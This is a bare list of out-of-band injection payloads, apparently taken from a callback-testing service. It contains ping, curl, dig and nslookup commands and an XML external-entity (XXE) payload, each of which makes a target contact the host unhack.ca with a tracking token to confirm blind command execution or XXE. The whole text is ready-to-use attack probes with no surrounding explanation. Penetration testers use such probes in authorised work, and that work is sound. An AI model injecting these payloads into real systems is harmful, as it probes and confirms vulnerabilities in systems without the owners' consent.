$ ping -c1 -p 001aa10705ccd4293b69b294ebd00500 unhack.ca
$ curl http://unhack.ca/p/1aa10705ccd4293b69b294ebd005
$ dig 1aa10705ccd4293b69b294ebd005 @unhack.ca
$ dig 1aa10705ccd4293b69b294ebd005.ns.unhack.ca
C:\> nslookup 1aa10705ccd4293b69b294ebd005 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/1aa10705ccd4293b69b294ebd005">]> <foo>&xxe;</foo>